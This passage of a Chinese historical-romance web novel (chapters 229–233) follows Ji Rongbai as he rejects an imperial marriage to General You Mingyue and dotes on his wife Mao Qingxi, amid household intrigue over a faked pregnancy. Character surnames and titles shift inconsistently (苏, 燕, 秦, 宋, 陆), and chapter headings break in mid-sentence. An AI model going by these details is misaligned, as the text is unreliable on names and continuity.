茅清兮深吸一口气,正要开口解释,却被一个突如其来的声音打断。 “怎么就不妥了?” 虚弱中带着几分焦急的声音,打破了殿内的沉寂。 “娘子莫不是要弃我而去?” 茅清兮猛地回头,只见冀容白正从中殿跌跌撞撞地走出。 他脸色惨白,身上只披了一件单薄的外袍,仿佛风一吹就会倒下。 尤明月紧随其后,想要搀扶他,却被他轻轻推开。 她手中的披风滑落在地,眼中闪过一丝受伤和落寞。 皇帝眉头紧锁,快步上前,语气中带着责备和担忧: “容白,你这是做什么?身体还没好,就到处乱跑!” “陛下,臣若再不出来,娘子就要被您抢走了。” 冀容白没有理会皇帝的责备,而是径直走到茅清兮身前,紧紧地握住了她的手。 他手心冰凉,力道却大得惊人。 “胡闹!” 皇帝斥责道, “你身子要紧,赶紧回房休息吧!” “陛下,” 冀容白微微抬头,看着皇帝, “臣的身体如何,不重要,但臣不能没有娘子。” 他语气轻缓,却字字坚定。 “你……” 皇帝一时语塞,不知该如何反驳。 “明大人,您这是何苦呢?” 一旁的吉公公见状,连忙上前劝道, “您身子金贵,可不能再出什么岔子了。” 冀容白却像没听见似的,只是紧紧地握着茅清兮的手,不肯松开。 吉公公无奈,只得将求助的目光投向皇帝。 皇帝无奈地叹了口气, “罢了,罢了,都起来吧。” 冀容白这才缓缓起身,顺势将茅清兮也拉了起来。 他紧紧地攥着她的手,仿佛一松手,她就会消失不见。 “陛下,臣久未归家,如今夫人来接,臣这便告退了。” 冀容白微微躬身,说道。 “慢着。” 皇帝的脸色阴沉了下来。 他盯着冀容白,目光如炬, “朕适才已经说过了,朕要为你们赐婚。你和尤将军,才是天造地设的一对。” “陛下!” 冀容白打断了他,语气冷硬, “让我介绍下,这是我家娘子,唯一的夫人。” “放肆!” 皇帝勃然大怒,猛地一掌拍在桌案上,震得茶盏都跳了起来。 殿内众人吓得跪了一地,大气也不敢出。 冀容白却不为所动,只是静静地看着皇帝,毫不退让。 良久,皇帝才缓缓开口,语气中带着一丝威胁: “冀容白,你别忘了,这是圣旨!你敢抗旨吗?” “臣不敢。” 冀容白微微低头, “但臣这条命,本就是捡回来的。若是没了娘子,活着也没什么意思。” 说完,他拉着茅清兮,再次跪了下来。 “你!” 皇帝气得浑身发抖,却又无可奈何。 他可以对任何人发怒,唯独对冀容白,他总是狠不下心来。 “尤将军有勇有谋,是难得的女中豪杰,她哪点配不上你?” 皇帝强压下怒火,语气中带着几分不甘, “你当初执意娶茅清兮,不也是因为她救了你一命吗?如今,尤将军也对你有救命之恩,你为何不能同样待她?” “陛下,” 冀容白抬起头,目光温柔地看向茅清兮,唇边泛起一抹淡淡的笑意, “臣这条命,是娘子给的。若非她当日舍命相救,臣早已不在人世。此等恩情,臣无以为报,唯有以身相许。” “至于尤将军,” 他微微一顿,语气变得平静而淡漠, “她很好,但她不是臣的娘子。” 茅清兮的心,像是被什么轻轻撞了一下,泛起一阵阵涟漪。 她从未想过,冀容白竟会将她看得如此重要。 他总是表现得漫不经心,玩世不恭,让人捉摸不透。 她甚至不知道,他对自己究竟有几分真心。 可此刻,他却当着皇帝的面,如此坚定地维护她,维护他们的感情。 这让她如何能不感动? “可笑!” 皇帝冷笑一声, “你以为,凭着一时的恩情,就能维系一辈子的感情吗? 第二百二十九章 朕告诉你,真正的夫妻,应当是志趣相投,相濡以沫!” “陛下,” 冀容白不卑不亢地说道, “臣与娘子,志趣是否相投,无需外人评判。臣只知道,此生此世,非她不可。” “你……” 皇帝还想再说些什么,却被尤明月打断。 “冀容白!” 尤明月再也无法忍受,她快步上前,眼中含泪, “你当真如此绝情?难道你忘了,在云陲,是谁陪你出生入死,是谁为你挡下那一箭?” 她指着茅清兮,声音颤抖, “她除了会些医术,还会什么?她能陪你上阵杀敌吗?她能为你分忧解难吗?你对她,不过是一时的迷恋罢了!” 她不甘心,不明白自己究竟输在了哪里。 她与冀容白,一同经历过生死,一同守护过云陲。 她以为,他们之间的感情,早已超越了寻常男女之情。 可如今看来,一切不过是她自作多情罢了。 “尤将军,” 冀容白转头看向她,语气平静, “你的恩情,我铭记于心。但感情之事,不能勉强。” “是啊,容白,你不能如此绝情!” 皇帝也出声劝道, “尤将军对你一片痴心,你岂能辜负?” “陛下,” 冀容白忽然捂住胸口,剧烈地咳嗽起来,脸色越发苍白。 皇帝大惊失色,连忙起身, “快,传太医!白苏道长呢?快来救人!” 茅清兮见状,连忙上前扶住冀容白,探查他的脉象。 却发现,他脉象虽弱,却并无大碍。 她心中了然,冀容白这是在装病。 “娘子,我难受……” 冀容白靠在茅清兮身上,虚弱地说道, “我想回家……” “好,我们回家。” 茅清兮轻声说道,扶着他站了起来。 “陛下,” 冀容白向皇帝说道, “臣身体不适,先行告退了。” 说完,他便在茅清兮的搀扶下,缓缓向殿外走去。 皇帝看着他们的背影,想要阻止,却又无从开口。 最终,他只能无奈地叹了口气,同意了他们的请求。 当然,太医和白苏道长,是必须随行的。 至于尤明月,皇帝也让她一同住进了澜府,美其名曰,方便照顾冀容白。 尤明月沉默片刻,点头应允。 从大殿出来, 回府的路上。 冀容白整个人都靠在茅清兮的身上,仿佛没了骨头一般。 “娘子……” 到了马车前,他停下脚步,轻轻唤了一声。 茅清兮正要扶他上车,却发现他一动不动。 “娘子不抱我上去吗?” 他抬起头,可怜巴巴地看着她, “我身上没力气……” 茅清兮无奈地叹了口气,弯下腰,将他打横抱起,送上了马车。 一旁的侍从和吉公公,都看得目瞪口呆。 他们从未见过,冀容白如此“柔弱”的一面。 更从未见过,茅清兮如此“强悍”的一面。“吁——” 马车停了,车轮碾过石板路的声音戛然而止。 茅清兮从半睡半醒中回神,抬手揉了揉眉心。 “这是哪儿?”她问。 车帘外,冀容白的声音带着笑意:“祥记。” 祥记?茅清兮记得,这铺子的点心京城一绝,多少人排队都买不上。 可冀容白不是不爱吃甜的吗? 她心里疑惑,却没有问出口。 “富峻。”冀容白朝外喊了一声。 “到!”富峻的声音,永远是那么精神。 “去,把铺子里新出的点心,每样都来一份。” “得嘞!”富峻应了一声,脚步声远去。 茅清兮听着,忍不住在心里翻了个白眼。 每样都来一份?这是打算把点心当饭吃? “对了,”冀容白像是突然想起了什么,“富峻,再加一份桂花蜜,要最甜的。” 茅清兮一愣,桂花蜜? 这可真是……太阳打西边出来了。 富峻也愣了,站在原地没动,似乎是在确认自己有没有听错。 冀容白见他没动静,又重复了一遍:“桂花蜜,最甜的。” “哦,好,好。”富峻这才回过神,一溜烟地跑了。 “娘子喜欢吃甜的,多买些。”冀容白转过头,对茅清兮柔声解释。 茅清兮扯了扯嘴角,心想:我喜欢吃甜的?我怎么不知道? 她不动声色地挪了挪身子,离冀容白远了些:“夫君有心了。不过,夫君身体要紧,往后的药,还得按时喝。” 她故意加重了“按时”二字,语气里带着一丝不易察觉的威胁。 冀容白听了,脸上闪过一丝不自然。 他当然知道,茅清兮这是在警告他。 但他并不打算就此收手。 “药嘛,自然是要喝的。”冀容白笑眯眯地说,“不过,良药苦口,娘子若是能亲自喂我,那就再好不过了。” 说着,他朝茅清兮眨了眨眼,一副期待的模样。 茅清兮被他这无赖的样子气笑了。 她索性闭上眼睛,不再理他。 马车再次前行,气氛变得有些诡异。 尤明月坐在角落里,看着冀容白和茅清兮之间的互动,心里五味杂陈。 她不明白,冀容白为什么会变成这样? 他不是应该对茅清兮冷淡疏离的吗? 为什么会如此……温柔? “苏将军,”尤明月忍不住开口,“你的伤……” “无妨。”冀容白打断了她的话,语气淡淡的,“多谢秦姑娘关心。” 他的目光,始终没有从茅清兮身上移开。 尤明月咬了咬唇,强忍着心头的酸涩,不再说话。 她安慰自己,一定是冀容白还没发现她的好。 没关系,来日方长。 “对了,”冀容白像是突然想起了什么,又开口,“娘子,我听说你秋猎时受了伤,可好些了?” 茅清兮睁开眼,看着他,眼神里带着一丝探究:“你这消息来得够快。” 冀容白笑了笑,眼神有些闪烁:“听富峻说的。” 茅清兮轻哼一声,没再说什么。 马车缓缓驶入澜府,停在了大门前。 清韵和茅飞羽居然还在,看样子是在等他们。 “哟,这不是燕大将军吗?”清韵一见冀容白,就阴阳怪气地开口,“据说你被扛回来了,怎么,现在能走了?” “劳公主挂心,好得很。”冀容白淡淡地回了一句,绕过她,径直走进了府里。 澜府还是老样子,一草一木都没变。 只是,比起他离开时,这里多了些人气。 不再是冷冰冰的空宅子,而是有了家的感觉。 冀容白在屋里转了一圈,最后停在了书房门口。 “长明。”他朝站在院子里的长明招了招手。 长明小跑着过来,恭敬地行礼:“师公。” “嗯。”冀容白点了点头,“你师父的信,你看了吗?” 长明摇了摇头:“师父说,要等您回来一起看。” “好孩子。”冀容白摸了摸他的头,“走,跟我进屋。 第二百三十章 ” 清韵看着冀容白带着长明进了书房,忍不住撇了撇嘴。 她转头,却发现尤明月也跟了进来。 “她怎么来了?”清韵皱着眉,问茅清兮。 “陛下让她来的,”茅清兮淡淡地说,“说是……方便照顾冀容白。” 清韵一听,眼睛瞪得更大了:“照顾?我看是添乱吧!” 茅清兮笑了笑,没说话。 “冀容白呢?他什么态度?”清韵追问。 “他?”茅清兮耸了耸肩,“他能有什么态度?陛下的旨意,他敢违抗?” “那你就这么看着?”清韵急了,“你可不像这么软弱的人啊!” “不然呢?”茅清兮反问,“我还能把她赶出去不成?” “你……”清韵一时语塞。 “放心吧,”茅清兮拍了拍她的肩膀,“我心里有数。” 清韵看着她,欲言又止。 她总觉得,茅清兮似乎有什么事情瞒着她。 书房里,冀容白展开了白苏道长的信。 信上,白苏道长详细地讲述了长明的进步,以及他在武学上的天赋。 “……此子根骨极佳,悟性过人,假以时日,必成大器……” 冀容白看完信,抬头看向长明:“想不想去军营历练历练?” 长明一愣,随即眼睛一亮:“军营?我可以去吗?” “当然,”冀容白笑了笑,“不过,得先过你师父这关。” 长明闻言,立刻转头看向门外,似乎是在寻找茅清兮的身影。 冀容白见状,补充道:“放心,你师父那边,我去说。” 他顿了顿,又说:“只要你师父同意,你就来鹰羽卫,我亲自教你。” 长明激动得小脸通红:“多谢师公!” “不过,”冀容白话锋一转,“去了军营,可不能再像现在这样娇气了,得吃苦,得受累,怕不怕?” 长明挺起胸膛:“不怕!” “好!”冀容白满意地点了点头,“这才像我冀容白的徒孙!” 书房外,茅飞羽将长明拉到一边,低声问:“喂,你师公跟你说什么了?” “师公说,要带我去军营!”长明兴奋地说。 “军营?”茅飞羽一惊,“你去军营干什么?那地方可不是闹着玩的!” “师公说,要亲自教我武功!”长明的眼睛闪闪发光。 茅飞羽看着他这副模样,忍不住泼冷水:“你可别高兴得太早,去了军营,有你苦头吃的!” “我不怕吃苦!”长明毫不犹豫地说。 “行,你有种!”茅飞羽朝他竖了个大拇指,“不过,你可别忘了,你师父是谁!” 长明闻言,脸上的笑容微微一僵。 他当然没忘,他的一切,都是师父给的。 “放心吧,”长明认真地说,“我永远都是师父的徒弟,谁也别想把我们分开!” 茅飞羽看着他,眼神里闪过一丝赞赏。 “算你小子还有点良心!”他拍了拍长明的肩膀,“以后,你就是我兄弟了!”冀容白端来一杯热茶,轻轻放在茅清兮手边。 她眼皮都没抬,只默默接过,凑到唇边连喝两口。 微烫的茶水滑过喉咙,稍稍缓解了口中的甜腻。 冀容白看着她,眸中带着关切,指尖虚虚护在杯沿,又怕她烫着。 茅清兮放下杯子,未来得及反应,一块点心已经送到了嘴边。 她一怔,看向冀容白。 后者只是笑,一双桃花眼微微弯起,带着几分得逞的意味。 “好吃吗?”他问,声音低沉。 茅清兮不答,默默吞咽。 冀容白也不在意,又拿起一块,送到她嘴边。 茅清兮只得张口,吃下。 一块、两块、三块…… 冀容白像是上了瘾,乐此不疲地投喂着。 “咳……” 茅清兮终于还是被噎了一下,轻咳出声。 冀容白立刻将手边的茶杯又递了过去。 茅清兮接过茶杯,借着喝茶的动作掩饰自己的不自在。 “我记得你很喜欢收集这些小玩意儿。” 冀容白突然开口,打断了她的思绪。 “尤其是能保平安的。” 茅清兮手一顿。 “你从前送我的那个护身符……” 他欲言又止。 茅清兮放下茶杯,看向他:“怎么?” “还能再给我一个吗?” 冀容白问得直白。 “娘子亲手做的护身符,戴在身上,做什么都顺。” 他笑得眉眼弯弯。 “这一个多月,我可是连根头发丝都没伤着。” “……”茅清兮一时语塞。 冀容白盯着她,眼神灼热。 她别过脸,避开他的视线:“没了。” 语气有些生硬。 她承认,冀容白这般直白,她有些招架不住。 “娘子真是……” 冀容白拖长了声音,似真似假地抱怨: “小气。” “几个不值钱的护身符,都不舍得?” 茅清兮不理他,端起茶杯又喝了两口,借此平复心绪。 “那……” 冀容白身子微微前倾,凑近了些。 “护身符没有,别的呢?” 他声音低沉,带着几分蛊惑的意味。 “总得给点什么吧?” 他顿了顿,目光落在她微微泛红的脸颊上。 “比如……抱一下?” “……” 茅清兮还没反应过来,手腕就被他抓住了。 一股大力袭来,她整个人跌入一个温暖的怀抱。 “唔……” 她低呼一声,鼻尖撞上他坚实的胸膛,有些疼。 “娘子这是怎么了?” 冀容白的声音在她头顶响起,带着一丝戏谑。 “是不是……投怀送抱?” 他紧紧揽住她的腰,不让她挣脱。 下巴抵在她颈窝处,灼热的呼吸喷洒在肌肤上。 “夫人受苦了,为夫知道。” 他的声音低沉而温柔,仿佛带着某种魔力。 “以后,不会再有人让你受委屈。” “你是我冀容白的夫人,谁也不能欺负你。” 每一个字,都像是敲在茅清兮心上,让她心跳加速,呼吸紊乱。 她想推开他,可身体却使不上力气。 鼻尖萦绕着他身上淡淡的草药香气,混合着他温热的体温。 这种陌生的感觉,让她无所适从。 “冀容白……” 她努力让自己的声音听起来平静些。 “你……先放开我。” 可微微颤抖的尾音还是泄露了她的慌乱。 在武功和谋略上,她或许能与冀容白一较高下。 可在这方面…… 她完全不是他的对手。 “娘子,尤明月的事情,你不必放在心上。” 冀容白的声音再次响起。 “有我在,不会让她再来烦你。” “嗯……” 茅清兮心不在焉地应了一声,脑子里一片混乱。 冀容白感受到怀中人的顺从,心中一阵得意。 他从未见过她如此乖顺的模样。 手指不自觉地,轻轻挑开了她腰侧的系带…… “呀,这是在做什么呢?” 紫姨的声音突然响起,打断了这旖旎的气氛。 她端着一盘水果,站在门口,脸上带着促狭的笑意。 第二百三十一章 茅清兮猛地惊醒,像是触电般从冀容白怀中弹开。 她迅速转身,背对着紫姨,手忙脚乱地整理着衣裳。 “我……我来看看,草药晒得怎么样了。” 她随口找了个借口,声音有些结巴。 紫姨“哦”了一声,意味深长地看了她一眼,却没有拆穿她。 她放下手中的水果,笑着说: “姑爷也在啊,正好,尝尝这新摘的果子。” “我还有事,先出去了。” 茅清兮头也不回地走了,脚步匆匆,几乎是落荒而逃。 紫姨看着她的背影,摇了摇头,眼中满是笑意。 她转身看向冀容白,语气中带着一丝打趣: “姑爷,看来你还得加把劲啊。” 冀容白轻咳一声,掩饰自己的尴尬。 他走到桌边,拿起一颗果子,放入口中。 酸甜的汁水在口中蔓延,他的目光却飘向了门口。 茅清兮回到房间,关上门,背靠着门板,深呼吸。 她抬手,摸了摸自己发烫的脸颊。 真是……太丢人了! 她懊恼地跺了跺脚。 刚才那一瞬间,她竟然…… 她不敢再想下去,连忙走到桌边,倒了一杯凉茶,一饮而尽。 冰凉的茶水让她冷静了些。 她坐下来,开始回想刚才发生的一切。 冀容白的拥抱,他的气息,他的话语…… 每一个细节,都清晰地印在她的脑海中。 她的心跳,又开始加速。 她用力拍了拍自己的脸颊,试图让自己清醒些。 可脑海中,却总是忍不住浮现出冀容白那双含笑的桃花眼。 她烦躁地抓了抓头发。 不行,不能再这样下去了! 她猛地站起身,在房间里来回踱步。 她得想个办法,让自己不再这么被动。 至少,不能再像今天这样,被他轻易地…… “报——” 门外突然传来一声通报,打断了她的思绪。 “何事?” 茅清兮走到门口,隔着门问道。 “夫人,富峻求见。” 门外的人回答。 茅清兮皱了皱眉。 富峻?他来做什么? 她打开门,只见富峻站在门口,一脸焦急。 “夫人,您可算出来了!” 富峻见到她,像是见到了救星。 “出什么事了?” 茅清兮问道。 “主子他……” 富峻欲言又止。 “他怎么了?” 茅清兮心中一紧。 “主子他……他让我来问您,今晚想整点啥。” 富峻吞吞吐吐地说。 “……” 茅清兮愣住了。 就这? “主子说,您最近胃口不好,让我来问问您的意思。” 富峻补充道。 “……” 茅清兮沉默了片刻,开口道: “随便。” 说完,她“砰”地一声关上了门。 富峻摸了摸鼻子,一脸无奈。 他转身,朝冀容白的书房走去。 “主子,夫人说……随便。” 他将茅清兮的原话转告给冀容白。 冀容白闻言,轻笑一声。 “知道了。” 他挥了挥手,示意富峻退下。 富峻离开后,冀容白走到窗边,望着院子里的景色。 他的目光,落在了不远处的一株海棠树上。 粉白色的花瓣,在微风中轻轻摇曳。 他的嘴角,微微上扬。 “富峻。” 片刻后,他突然开口。 “属下在。” 富峻的身影再次出现。 “你去告诉墨川,云陲的事情,让他多费心。” 冀容白吩咐道。 “是。” 富峻应了一声,又问: “主子,还有一事……” “何事?” “夫人之前问过属下,关于富辰的事情。” “哦?” 冀容白转过身,看向他。 “她问了什么?” “夫人问属下,认不认识富辰。” 富峻如实回答。 “属下不敢隐瞒,便说认识。” “……” 冀容白沉默了片刻,开口道: “知道了。” “你去忙吧。” “是。” 富峻退下。 冀容白再次看向窗外。 他的眼中,闪过一丝复杂的情绪。 看来,有些事情,是瞒不住了。 也好,是时候,让她知道了。尤明月抵达冀容白书房时,只觉一股寒气逼人。 她在外间足足等了半个时辰。 别说热茶,连个鬼影子都没见着。 澜府的下人,眼睛都长到头顶上了吗? 尤明月心中恼恨,暗自发誓,等她成了这澜府的女主人,定要将这些没规矩的奴才统统扫地出门! “吱呀——” 门开了,冀容白的身影出现。 一个眼生的仆役几乎是同时闪身进来,手里托着茶盘,动作那叫一个轻巧。 尤明月的目光在茶盘上一扫而过,最终落在了冀容白的身上。 “苏将军在鹰羽卫治军严明,赏罚分明,怎么到了这澜府,家风如此……松散?” 她话里有话,绵里藏针。 冀容白轻笑,笑意却未达眼底,仿佛寒潭上的薄冰,透着彻骨的凉。 “这是我的家,家里的事,自然由我娘子做主,她喜欢就好。” 语气虽淡,却不容置疑。 尤明月被噎得一窒,没想到冀容白会拿茅清兮来挡。 “恕我直言,苏将军……” 她还想再说,却被冀容白生生打断。 “砰!” 茶杯砸在桌上,声音不大,却让尤明月心里一颤。 “尤将军若是无事,便不必多言了。” 冀容白声音冷冽,不带一丝温度。 尤明月紧蹙眉头,步步紧逼。 “苏将军!圣上的意思,你我心知肚明!即便你拒婚,可你我联姻,已成定局!” “定局?”冀容白重复着这两个字,语气中满是嘲弄,“我冀容白这里,没有什么定局。” 尤明月脸色铁青。 “苏将军!你体内的毒拖不得!云陲战事胶着,朝中多少人虎视眈眈,巴不得你早死……” 冀容白漫不经心地用手指敲击着桌面,对尤明月的话置若罔闻,那笃定的模样,仿佛一切尽在掌握。 尤明月急了。 “我手中有玉露草,大晋、西魏最后一株!只要你我成婚,我便将它献上!我才是最适合你的女人,你我联手,鹰羽卫与墨家军,固若金汤!”她一口气说完,只觉得胸口发闷,喘不过气。 冀容白终于有了反应。 他轻笑出声,那笑声,让人分辨不出是讥诮还是赞赏。 “你弄错了,这些,于我而言,毫无意义。” 他抬眸,目光如炬,带着与生俱来的傲气。 “只要我冀容白一日不死,他们就别想染指鹰羽卫。如今,不是你来决定我的生死,而是你墨家军,要仰仗我鹰羽卫的鼻息!” 尤明月被他的气势所震慑,竟一时语塞。 良久,她才找回自己的声音。 “你时日无多!若你死了,鹰羽卫必遭瓜分!茅清兮她能帮你什么?!” 尤明月越说越激动,声调也越来越高。 “冀容白!我对你的心意,你不是不知!我愿倾墨家军之力助你,玉露草也可双手奉上!” 她顿了顿,语气中带着一丝疯狂。 第二百三十二章 “我,才是那个能与你并肩之人!茅清兮她能上战场杀敌吗?她能为你挡下暗箭吗?!” 冀容白静静地看着她,眼神幽深难测。 尤明月意识到自己失态,努力平复心绪。 她所言非虚,一个深闺妇人,于冀容白而言,不过是拖累。 而她,手握十万雄兵,才是冀容白的助力! “若你非要留着茅清兮,纳她为妾,也未尝不可。” 尤明月退了一步。 冀容白直接转过身,连看都懒得看她一眼。 “富峻,送客。” “冀容白!你究竟在犹豫什么?!” 富峻出现在尤明月身侧,恭敬地做了个“请”的手势。 “尤将军,这边请。” 往常这种差事都是墨川的,如今墨川不在,他可要替夫人把好关! 尤明月狠狠地瞪了富峻一眼,又看向冀容白的背影。 “冀容白,望你三思!你并非优柔寡断之人,孰轻孰重,你心中有数!” 说完,她拂袖而去。 富峻看着她的背影,啐了一口,然后快步走到冀容白身边。 “主子,这女人脸皮真厚!还想让夫人做妾?她给夫人提鞋都不配!” 富峻愤愤不平地说着,却见冀容白毫无反应。 他抬头一看,吓得魂飞魄散。 冀容白脸色惨白,一手捂着胸口,身体微微颤抖。 “主子!”富峻惊呼,“您别吓我!我这就去请太医……” “不必。” 冀容白的声音虚弱无力。 他缓了好一会儿,才开口。 “去,把富辰找来,我有要事交代。” “可是主子,您的身体……” 富峻话未说完,便被冀容白凌厉的眼神制止。 他不敢再多言,转身飞奔而去。 另一边,茅清兮正在指点长明练剑。 她心不在焉,有一搭没一搭地应着。 清韵和茅飞羽也不走,就那么干坐着,看长明挥剑。 茅飞羽盯着长明,心里泛酸。 这小子,气势越来越凌厉了,简直跟阿姐一个模子刻出来的。 想当初,他还是个小叫花子呢…… “阿姐,你也教教我呗,我出去也能耍耍威风。” 茅飞羽凑到茅清兮跟前,嬉皮笑脸地说。 茅清兮斜睨了他一眼:“真想学?那就跟长明一起练。” “为啥?”茅飞羽不乐意了。 “长明一天能练十个时辰,雷打不动。你呢?” 茅清兮淡淡地问。 茅飞羽噎了一下,差点就拍着胸脯说自己也行。 可一想到每天五更不到就得起床,他顿时就泄了气。 “唉,我还是老老实实赚钱吧。等爷有钱了,雇他十个八个高手,看谁还敢欺负我!” 茅飞羽很快就自我开解了。 他眼珠子一转,又凑近茅清兮。 “阿姐,告诉你个秘密,骆姨娘,她有喜了!” 茅清兮一愣,手上的动作也停了下来。 清韵也立刻来了精神,耳朵竖得老高。 “真的!昨儿个府里请了大夫,诊出来说,已经俩月了!” 茅飞羽压低声音,神神秘秘地说。 骆芸年过三十,虽说还能生,可自打生了茅暮暮,就再没动静。 这会儿突然有孕,着实让人起疑。 “爹高兴坏了,一连几日都歇在骆姨娘那儿,褚姨娘那儿,他都不去了。” 茅飞羽继续爆料。 茅清兮听了,心里却没起什么波澜。 陆府如何,与她何干? 若不是茅飞羽提起,她压根儿不会关心。 这时,紫姨突然开口,语气笃定。 “她怀不了。” “啥?”茅飞羽没听明白。 “骆芸,她肯定没怀上。” 紫姨一字一顿地说。 茅清兮、茅飞羽、清韵三人齐刷刷地看向紫姨。 紫姨看了看茅飞羽。 茅飞羽立马挺直了腰板:“有啥不能让我知道的?安阳侯府迟早是我的!我可不能让那些来路不明的混了侯府的血脉!” 茅清兮开口问道:“紫姨,这里面是不是有什么事瞒着我们?” 紫姨愁眉不展,欲言又止。 她沉吟半晌,才缓缓开口:“当年,将军活着那会儿,让我给骆芸下过药,一种……让她再也生不了孩子的药。” 茅清兮瞳孔骤缩:“我娘……她知道骆芸和茅暮暮的事?” “将军自然知晓,”紫姨的声音很轻,却很坚定,“所以才让我配药,以绝后患,以免动摇小姐少爷的根基。” 茅清兮一直以为,娘亲对骆芸母女的存在一无所知,所以茅文昭才会在娘亲离世后,将骆芸迎进门。 如今看来,是她想岔了。 娘亲的做法,并无不妥。 换作是她,也会如此。 可是,骆芸若当真不能生育,那她腹中胎儿,从何而来? 一个又一个疑问,在茅清兮脑海中翻滚。“将军走之前就知道,茅文昭肯定会把骆芸和茅暮暮接进府。” 紫姨的声音不高,却像一道惊雷,在空旷的练武场上炸响,震得人心头一颤。 “但他还是留下了骆芸母女的性命,因为她们入府,对小姐和少爷反倒是一种保护。” 茅飞羽听了,眉头拧成一个疙瘩,用力地挠了挠头: “这我就不明白了,”他嘟囔着,一脸困惑,“她们在府里,我和姐姐从小到大没少受她们的气,怎麼还成了安全?” 他自小养在骆芸名下,虽然实际由祖母照料,但在外人看来,骆芸就是他的母亲。 这小子从小就机灵,知道见风使舵,看人下菜碟。对骆芸母女,更是百般讨好,卖乖撒娇。 所以,他倒是没吃过什么明面上的苦头。 但茅清兮不一样,她性子倔,眼里揉不得沙子,从小就和骆芸她们不对付。那些明枪暗箭,那些冷嘲热讽,那些背地里的磋磨,只有她自己知道。 茅飞羽想不通,这哪里是更安全?分明是更憋屈! 他转头看向茅清兮,希望从她那里得到答案。 茅清兮却只是静静地坐在那里,眼神幽深,似乎陷入了回忆。 她当然明白。 那时候,各方势力都盯着陆府,虎视眈眈,都想从陆府找出那张神秘的玄机图。 而娘亲的身体,早已是强弩之末。她自知时日无多,再也无法庇护他们姐弟二人。 倒不如,放骆芸入府。 骆芸的存在,恰恰掩盖了茅清兮和茅飞羽这对姐弟,也掩盖了陆府的秘密。 娘亲也是在向外界传递一个信号:她什么都没留下,否则,她拼死护着的一双儿女,又怎会受人这般欺凌? 不得不说,娘亲这一招,走得既无奈,又高明。 至少,在茅清兮嫁给冀容白之前,没人想起,当年那个青霜将军,还有一双儿女遗落在人间。 这一世,茅清兮选择不再隐藏,她锋芒毕露,做事光明磊落。 那些人,那些曾经的敌人,才又重新找上门来。 如果,她能像上一世那样,安安稳稳地做一个闺阁小姐。 第二百三十三章 或者,像娘亲所期望的那样,平平淡淡地过完一生。 或许,那些人,那些纠缠了宋家几代人的恩怨,就永远都不会再注意到她。 可是…… 茅清兮微微垂下眼帘。 她从来都不是会瞻前顾后的人。 过去的事,已经发生,无法改变。 她唯一能做的,就是一路向前! “这么说,骆芸根本就没怀孕?”茅飞羽的声音,将茅清兮从思绪中拉了回来。 她回过神,轻轻笑了笑,带着一丝戏谑,抬手拍了拍茅飞羽的肩膀: “放心吧,臭小子,这安阳侯府世子的位子,谁也抢不走。” “那她没怀孕,干嘛要说自己怀了?” 茅飞羽还是想不通。 茅清兮嘴角的笑意更深了。 茅文昭之前身边只有骆芸一个,加上茅飞羽年纪还小,不懂内宅这些弯弯绕绕。 “等你以后成了亲,就知道了。” 清韵不知何时走了过来,一副“过来人”的姿态。 “我不小了!” 茅飞羽像是被踩了尾巴的猫,一下子跳了起来。 “我都快十六了!哪里小了?”他不服气地嚷嚷。 他眼珠子一转,趁着长明在一旁休息,一把拉过长明: “喂,呆子,你说说看,骆芸为啥非说自己有身孕?” 他本来以为,长明这个榆木脑袋肯定也不知道。 谁知…… “争宠呗。” 长明一脸茫然地看了看茅飞羽,又看了看茅清兮。 “有啥大惊小怪的?装怀孕,是最常见的伎俩了。过不了多久,她肚子里的孩子,自然就会因为各种‘意外’没了。” 茅飞羽惊呆了。 “你……你咋知道这事的?” “我父亲后院那些姨娘,都是这么干的。” 长明面无表情地回答。 和茅飞羽不一样,李家后院,那可真是“百花齐放”。 虽然长明以前年纪小,但耳濡目染,也知道不少。 现在,伴随着施针时间不断延长,脑子越来越清明,很多事情,他稍微一想就明白了。 “女人,真是太可怕了!”茅飞羽心有余悸地拍了拍胸口,“我这辈子打死不结婚!” 长明也深以为然地点头附和:“嗯,我对成家没兴趣。我就想把功夫练到极致,保护师父!” “啪!啪!” 清韵一人赏了他们一个爆栗。 “你们两个臭小子,在我们跟前吐槽女人有多恐怖?” 清韵双手叉腰,瞪着他们。 茅飞羽眼疾手快,连忙躲到茅清兮身后,嬉皮笑脸地求饶: “哎哟,清韵姐姐,我错了!” 长明则有些不好意思地抿着唇,目光求助般地看向茅清兮。 茅清兮只是笑眯眯地看着他们闹,也不说话,任由清韵“欺负”。 茅飞羽油嘴滑舌,惯会讨饶卖乖。 但长明却是个实心眼儿的,老老实实地站在那里,任由清韵“欺负”,一动也不动。 茅飞羽看不下去了,一把拉过长明,边跑边朝清韵挥手: “清韵姐姐,我们真的错了!我带长明去修炼了!” “哼,算你们跑得快!” 清韵看着他们逃也似的背影,笑着啐了一口。 茅飞羽拉着长明跑到练武场的角落里。 他独自一人练了一会儿拳脚,突然灵光一闪,从怀里掏出一锭银子: “呆子,我问你,等你以后成了大侠,能不能来保护我?” “我练好武功,得守护好师父才行。”长明想也不想地回答。 “我知道,”茅飞羽连忙说道,“可你看,这是什么?” 他将银子在长明眼前晃了晃,银子的光泽,在阳光下闪闪发亮。 “这是银子,你肯定没见过这么多银子!” 长明不明白,茅飞羽有银子有什么好得意的。 以前,李家还是皇商的时候,银子多得是,他看都懒得看一眼。 不过,为了不让茅飞羽再来烦他,他还是点了点头。 茅飞羽见他答应,顿时心花怒放。 就在这时,他眼角的余光瞥见一个人影,正朝这边走来。 “你怎么来了?” 茅飞羽立刻收起笑容,站直了身体,一脸警惕地瞪着来人。 尤明月对他的质问置若罔闻,径直走到凉亭前。 冀容白将她赶走,让她觉得自己颜面尽失。 她原本以为,自己提出让茅清兮做侧夫人,已经是天大的让步。 可没想到,冀容白竟然还是不领情! 他眼里,到底有没有云陲? 尤明月越想越气,于是,她一路走到了这片练武场。 她需要找人谈谈,而茅清兮,无疑是最好的人选。 茅清兮坐在凉亭里,看着尤明月一步步走近,脸上没有任何表情,只是静静地看着她。 “宋姑娘。”尤明月开门见山,“我想和你单独谈谈。” 清韵一听这话,立刻不干了: “怎么?有什么话是我不能听的?莫非是什么见不得人的勾当?” “清韵,”茅清兮轻声开口,制止了清韵,“你先去看看长明练得如何了,我有些乏了,坐在这里歇会。” 清韵虽然心有不甘,但也知道茅清兮自有主张,便点了点头,转身离开了。 尤明月看着清韵的背影,冷哼一声,转过头,对茅清兮说道: “我要你离开冀容白。你不配做澜府的女主人!” 她顿了顿,语气更加强硬: “立刻,马上!”尤明月来势汹汹,直接闯了进来。 那架势,仿佛不是来商量,而是来兴师问罪的。 茅清兮安静地看着她,眼底却划过一丝了然。 